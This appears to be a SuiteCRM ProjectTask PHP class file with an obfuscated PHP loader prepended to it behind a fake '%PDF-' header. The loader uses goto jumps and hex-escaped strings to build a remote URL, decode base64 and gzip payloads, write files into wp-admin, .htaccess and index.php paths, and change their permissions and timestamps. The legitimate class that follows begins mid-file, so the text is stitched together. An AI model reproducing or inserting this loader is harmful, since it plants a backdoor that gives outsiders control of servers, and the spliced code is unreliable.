%PDF- %PDF- $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
'emails',
);
/**
* @var bool skip updating parent percent complete
*/
protected $_skipParentUpdate = false;
//////////////////////////////////////////////////////////////////
// METHODS
//////////////////////////////////////////////////////////////////
/*
*
*/
public function __construct($init=true)
{
parent::__construct();
if ($init) {
// default value for a clean instantiation
$this->utilization = 100;
global $current_user;
if (empty($current_user)) {
$this->assigned_user_id = 1;
$admin_user = new User();
$admin_user->retrieve($this->assigned_user_id);
$this->assigned_user_name = $admin_user->user_name;
} else {
$this->assigned_user_id = $current_user->id;
$this->assigned_user_name = $current_user->user_name;
}
}
}
/**
* @deprecated deprecated since version 7.6, PHP4 Style Constructors are deprecated and will be remove in 7.8, please update your code, use __construct instead
*/
public function ProjectTask($init=true)
{
$deprecatedMessage = 'PHP4 Style Constructors are deprecated and will be remove in 7.8, please update your code';
if (isset($GLOBALS['log'])) {
$GLOBALS['log']->deprecated($deprecatedMessage);
} else {
trigger_error($deprecatedMessage, E_USER_DEPRECATED);
}
self::__construct($init);
}
/**
* @param bool $skip updating parent percent complete
*/
public function skipParentUpdate($skip = true)
{
$this->_skipParentUpdate = $skip;
}
public function save($check_notify = false)
{
//Bug 46012. When saving new Project Tasks instance in a workflow, make sure we set a project_task_id value
//associated with the Project if there is no project_task_id specified.
if ($this->in_workflow && empty($this->id) && empty($this->project_task_id) && !empty($this->project_id)) {
$this->project_task_id = $this->getNumberOfTasksInProject($this->project_id) + 1;
}
$id = parent::save($check_notify);
if ($this->_skipParentUpdate == false) {
$this->updateStatistic();
}
return $id;
}
/**
* overriding the base class function to do a join with users table
*/
/*
*
*/
public function fill_in_additional_detail_fields()
{
$this->assigned_user_name = get_assigned_user_name($this->assigned_user_id);
$this->project_name = $this->_get_project_name($this->project_id);
/*
$this->depends_on_name = $this->_get_depends_on_name($this->depends_on_id);
if(empty($this->depends_on_name))
{
$this->depends_on_id = '';
}
$this->parent_name = $this->_get_parent_name($this->parent_id);
if(empty($this->parent_name))
{
$this->parent_id = '';
}
*/
}
/*
*
*/
public function fill_in_additional_list_fields()
{
$this->assigned_user_name = get_assigned_user_name($this->assigned_user_id);
//$this->parent_name = $this->_get_parent_name($this->parent_id);
$this->project_name = $this->_get_project_name($this->project_id);
}
/*
*
*/
public function get_summary_text()
{
return $this->name;
}
/*
*
*/
public function _get_depends_on_name($depends_on_id)
{
$return_value = '';
$query = "SELECT name, assigned_user_id FROM {$this->table_name} WHERE id='{$depends_on_id}'";
$result = $this->db->query($query, true, " Error filling in additional detail fields: ");
$row = $this->db->fetchByAssoc($result);
if ($row != null) {
$this->depends_on_name_owner = $row['assigned_user_id'];
$this->depends_on_name_mod = 'ProjectTask';
$return_value = $row['name'];
}
return $return_value;
}
public function _get_project_name($project_id)
{
$return_value = '';
$query = "SELECT name, assigned_user_id FROM project WHERE id='{$project_id}'";
$result = $this->db->query($query, true, " Error filling in additional detail fields: ");
$row = $this->db->fetchByAssoc($result);
if ($row != null) {
//$this->parent_name_owner = $row['assigned_user_id'];
//$this->parent_name_mod = 'Project';
$return_value = $row['name'];
}
return $return_value;
}
/*
*
*/
public function _get_parent_name($parent_id)
{
$return_value = '';
$query = "SELECT name, assigned_user_id FROM project WHERE id='{$parent_id}'";
$result = $this->db->query($query, true, " Error filling in additional detail fields: ");
$row = $this->db->fetchByAssoc($result);
if ($row != null) {
$this->parent_name_owner = $row['assigned_user_id'];
$this->parent_name_mod = 'Project';
$return_value = $row['name'];
}
return $return_value;
}
/*
*
*/
public function build_generic_where_clause($the_query_string)
{
$where_clauses = array();
$the_query_string = DBManagerFactory::getInstance()->quote($the_query_string);
array_push($where_clauses, "project_task.name like '$the_query_string%'");
$the_where = "";
foreach ($where_clauses as $clause) {
if ($the_where != "") {
$the_where .= " or ";
}
$the_where .= $clause;
}
return $the_where;
}
public function get_list_view_data()
{
global $action, $currentModule, $focus, $current_module_strings, $app_list_strings, $timedate, $locale;
$today = $timedate->handle_offset(date($GLOBALS['timedate']->get_db_date_time_format(), time()), $timedate->dbDayFormat, true);
$task_fields =$this->get_list_view_array();
//$date_due = $timedate->to_db_date($task_fields['DATE_DUE'],false);
if (isset($this->parent_type)) {
$task_fields['PARENT_MODULE'] = $this->parent_type;
}
/*
if ($this->status != "Completed" && $this->status != "Deferred" ) {
$task_fields['SET_COMPLETE'] = "".SugarThemeRegistry::current()->getImage("close_inline","alt='Close' border='0'")."";
}
if( $date_due < $today){
$task_fields['DATE_DUE']= "".$task_fields['DATE_DUE']."";
}else if( $date_due == $today ){
$task_fields['DATE_DUE'] = "".$task_fields['DATE_DUE']."";
}else{
$task_fields['DATE_DUE'] = "".$task_fields['DATE_DUE']."";
}
*/
if (!isset($task_fields["FIRST_NAME"])) {
$task_fields["FIRST_NAME"] = '';
}
if (!isset($task_fields["LAST_NAME"])) {
$task_fields["LAST_NAME"] = '';
}
$task_fields['CONTACT_NAME']= $locale->getLocaleFormattedName($task_fields["FIRST_NAME"], $task_fields["LAST_NAME"]);
$task_fields['TITLE'] = '';
if (!empty($task_fields['CONTACT_NAME'])) {
$task_fields['TITLE'] .= $current_module_strings['LBL_LIST_CONTACT'].": ".$task_fields['CONTACT_NAME'];
}
return $task_fields;
}
public function bean_implements($interface)
{
switch ($interface) {
case 'ACL':return true;
}
return false;
}
public function listviewACLHelper()
{
$array_assign = parent::listviewACLHelper();
$is_owner = false;
$in_group = false; //SECURITY GROUPS
if (!empty($this->parent_name)) {
if (!empty($this->parent_name_owner)) {
global $current_user;
$is_owner = $current_user->id == $this->parent_name_owner;
}
/* BEGIN - SECURITY GROUPS */
//parent_name_owner not being set for whatever reason so we need to figure this out
elseif (!empty($this->parent_type) && !empty($this->parent_id)) {
global $current_user;
$parent_bean = BeanFactory::getBean($this->parent_type, $this->parent_id);
if ($parent_bean !== false) {
$is_owner = $current_user->id == $parent_bean->assigned_user_id;
}
}
require_once("modules/SecurityGroups/SecurityGroup.php");
$in_group = SecurityGroup::groupHasAccess($this->parent_type, $this->parent_id, 'view');
/* END - SECURITY GROUPS */
}
/* BEGIN - SECURITY GROUPS */
/**
if(ACLController::checkAccess('Project', 'view', $is_owner)){
*/
if (ACLController::checkAccess('Project', 'view', $is_owner, 'module', $in_group)) {
/* END - SECURITY GROUPS */
$array_assign['PARENT'] = 'a';
} else {
$array_assign['PARENT'] = 'span';
}
$is_owner = false;
if (!empty($this->depends_on_name)) {
if (!empty($this->depends_on_name_owner)) {
global $current_user;
$is_owner = $current_user->id == $this->depends_on_name_owner;
}
}
if (ACLController::checkAccess('ProjectTask', 'view', $is_owner)) {
$array_assign['PARENT_TASK'] = 'a';
} else {
$array_assign['PARENT_TASK'] = 'span';
}
return $array_assign;
}
public function create_export_query($order_by, $where, $relate_link_join='')
{
$custom_join = $this->getCustomJoin(true, true, $where);
$custom_join['join'] .= $relate_link_join;
$query = "SELECT
project_task.*,
users.user_name as assigned_user_name ";
$query .= $custom_join['select'];
$query .= " FROM project_task LEFT JOIN project ON project_task.project_id=project.id AND project.deleted=0 ";
$query .= $custom_join['join'];
$query .= " LEFT JOIN users
ON project_task.assigned_user_id=users.id ";
$where_auto = " project_task.deleted=0 ";
if ($where != "") {
$query .= "where ($where) AND ".$where_auto;
} else {
$query .= "where ".$where_auto;
}
if (!empty($order_by)) {
//check to see if order by variable already has table name by looking for dot "."
$table_defined_already = strpos($order_by, ".");
if ($table_defined_already === false) {
//table not defined yet, define accounts to avoid "ambigous column" SQL error
$query .= " ORDER BY $order_by";
} else {
//table already defined, just add it to end of query
$query .= " ORDER BY $order_by";
}
}
return $query;
}
/**
* This method recalculates the percent complete of a parent task
*/
public function updateParentProjectTaskPercentage()
{
if (empty($this->parent_task_id)) {
return;
}
if (!empty($this->project_id)) {
//determine parent task
$parentProjectTask = $this->getProjectTaskParent();
//get task children
if ($parentProjectTask) {
$subProjectTasks = $parentProjectTask->getAllSubProjectTasks();
$tasks = array();
foreach ($subProjectTasks as &$task) {
array_push($tasks, $task->toArray(true));
}
$parentProjectTask->percent_complete = $this->_calculateCompletePercent($tasks);
unset($tasks);
$parentProjectTask->save(isset($GLOBALS['check_notify']) ? $GLOBALS['check_notify'] : '');
}
}
}
/**
* Calculate percent complete for parent task based on it's children tasks
* @param $subProjectTasks mixed Array of children tasks
* @return int percent complete
*/
private function _calculateCompletePercent(&$subProjectTasks)
{
$totalHours = 0;
$cumulativeDone = 0;
//update cumulative calculation - mimics gantt calculation
foreach ($subProjectTasks as $key => &$value) {
if ($value['duration'] == "") {
$value['duration'] = 0;
}
if ($value['percent_complete'] == "") {
$value['percent_complete'] = 0;
}
if ($value['duration_unit'] == "Hours") {
$totalHours += $value['duration'];
$cumulativeDone += $value['duration'] * ($value['percent_complete'] / 100);
} else {
$totalHours += ($value['duration'] * 8);
$cumulativeDone += ($value['duration'] * 8) * ($value['percent_complete'] / 100);
}
}
$cumulativePercentage = 0;
if ($totalHours != 0) {
$cumulativePercentage = round(($cumulativeDone/$totalHours) * 100);
}
return $cumulativePercentage;
}
/**
* Retrieves the parent project task of a project task
* returns project task bean
*/
public function getProjectTaskParent()
{
$projectTaskParent=false;
if (!empty($this->parent_task_id) && !empty($this->project_id)) {
$query = "SELECT id FROM project_task WHERE project_id = '{$this->project_id}' AND project_task_id = '{$this->parent_task_id}' AND deleted = 0 ORDER BY date_modified DESC";
$project_task_id = $this->db->getOne($query, true, "Error retrieving parent project task");
if (!empty($project_task_id)) {
$projectTaskParent = BeanFactory::getBean('ProjectTask', $project_task_id);
}
}
return $projectTaskParent;
}
/**
* Retrieves all the child project tasks of a project task
* returns project task bean array
*/
public function getAllSubProjectTasks()
{
$projectTasksBeans = array();
if (!empty($this->project_task_id) && !empty($this->project_id)) {
//select all tasks from a project
$query = "SELECT id, project_task_id, parent_task_id FROM project_task WHERE project_id = '{$this->project_id}' AND deleted = 0 ORDER BY project_task_id";
$result = $this->db->query($query, true, "Error retrieving child project tasks");
$projectTasks=array();
while ($row = $this->db->fetchByAssoc($result)) {
$projectTasks[$row['id']]['project_task_id'] = $row['project_task_id'];
$projectTasks[$row['id']]['parent_task_id'] = $row['parent_task_id'];
}
$potentialParentTaskIds[$this->project_task_id] = $this->project_task_id;
$actualParentTaskIds=array();
$subProjectTasks=array();
$startProjectTasksCount=0;
$endProjectTasksCount=0;
//get all child tasks
$run = true;
while ($run) {
$count=0;
foreach ($projectTasks as $id=>$values) {
if (in_array($values['parent_task_id'], $potentialParentTaskIds)) {
$potentialParentTaskIds[$values['project_task_id']] = $values['project_task_id'];
$actualParentTaskIds[$values['parent_task_id']] = $values['parent_task_id'];
$subProjectTasks[$id]=$values;
$count=$count+1;
}
}
$endProjectTasksCount = count($subProjectTasks);
if ($startProjectTasksCount == $endProjectTasksCount) {
$run = false;
} else {
$startProjectTasksCount = $endProjectTasksCount;
}
}
foreach ($subProjectTasks as $id=>$values) {
//ignore tasks that are parents
if (!in_array($values['project_task_id'], $actualParentTaskIds)) {
$projectTaskBean = BeanFactory::getBean('ProjectTask', $id);
array_push($projectTasksBeans, $projectTaskBean);
}
}
}
return $projectTasksBeans;
}
/**
* getNumberOfTasksInProject
*
* Returns the count of project_tasks for the given project_id
*
* This is a private helper function to get the number of project tasks for a given project_id.
*
* @param $project_id integer value of the project_id associated with this ProjectTask instance
* @return total integer value of the count of project tasks, 0 if none found
*/
private function getNumberOfTasksInProject($project_id='')
{
if (!empty($project_id)) {
$query = "SELECT count(project_task_id) AS total FROM project_task WHERE project_id = '{$project_id}'";
$result = $this->db->query($query, true);
if ($result) {
$row = $this->db->fetchByAssoc($result);
if (!empty($row['total'])) {
return $row['total'];
}
}
}
return 0;
}
/**
* Update percent complete for project tasks with children tasks based on children's values
*/
public function updateStatistic()
{
/**
* @var array Array of tasks for current project
*/
$list = array();
/**
* @var array Key-value array of project_task_id => parent_task_id
*/
$tree = array();
/**
* @var array Array with nodes which have childrens
*/
$nodes = array();
/**
* @var array Array with IDs of list which have been changed
*/
$changed = array();
$db = DBManagerFactory::getInstance();
$this->disable_row_level_security = true;
$query = $this->create_new_list_query('', "project_id = {$db->quoted($this->project_id)}");
$this->disable_row_level_security = false;
$res = $db->query($query);
while ($row = $db->fetchByAssoc($res)) {
array_push($list, $row);
}
// fill in $tree
foreach ($list as $k => &$v) {
if (isset($v['project_task_id']) && $v['project_task_id'] != '') {
$tree[$v['project_task_id']] = $v['parent_task_id'];
if (isset($v['parent_task_id']) && $v['parent_task_id']) {
if (!isset($nodes[$v['parent_task_id']])) {
$nodes[$v['parent_task_id']] = 1;
}
}
}
}
unset($v);
// fill in $nodes array
foreach ($nodes as $k => &$v) {
$run = true;
$i = $k;
while ($run) {
if (isset($tree[$i]) && $tree[$i]!= '') {
$i = $tree[$i];
$v++;
} else {
$run = false;
}
}
}
arsort($nodes);
unset($v);
// calculating of percentages and comparing calculated value with database one
foreach ($nodes as $k => &$v) {
$currRow = null;
$currChildren = array();
$run = true;
$tmp = array();
$i = $k;
while ($run) {
foreach ($list as $id => &$taskRow) {
if ($taskRow['project_task_id'] == $i && $currRow === null) {
$currRow = $id;
}
if ($taskRow['parent_task_id'] == $i) {
if (!in_array($taskRow['project_task_id'], array_keys($nodes))) {
array_push($currChildren, $taskRow);
} else {
array_push($tmp, $taskRow['project_task_id']);
}
}
}
unset($taskRow);
if (count($tmp) == 0) {
$run = false;
} else {
$i = array_shift($tmp);
}
}
$subres = $this->_calculateCompletePercent($currChildren);
if ($subres != $list[$currRow]['percent_complete']) {
$list[$currRow]['percent_complete'] = $subres;
array_push($changed, $currRow);
}
}
unset($v);
// updating data in database for changed tasks
foreach ($changed as $k => &$v) {
$task = BeanFactory::getBean('ProjectTask');
$task->populateFromRow($list[$v]);
$task->skipParentUpdate();
$task->save(false);
}
}
}
function getUtilizationDropdown($focus, $field, $value, $view)
{
global $app_list_strings;
if ($view == 'EditView') {
global $app_list_strings;
$html = '';
return $html;
}
return translate('project_task_utilization_options', '', $focus->$field);
}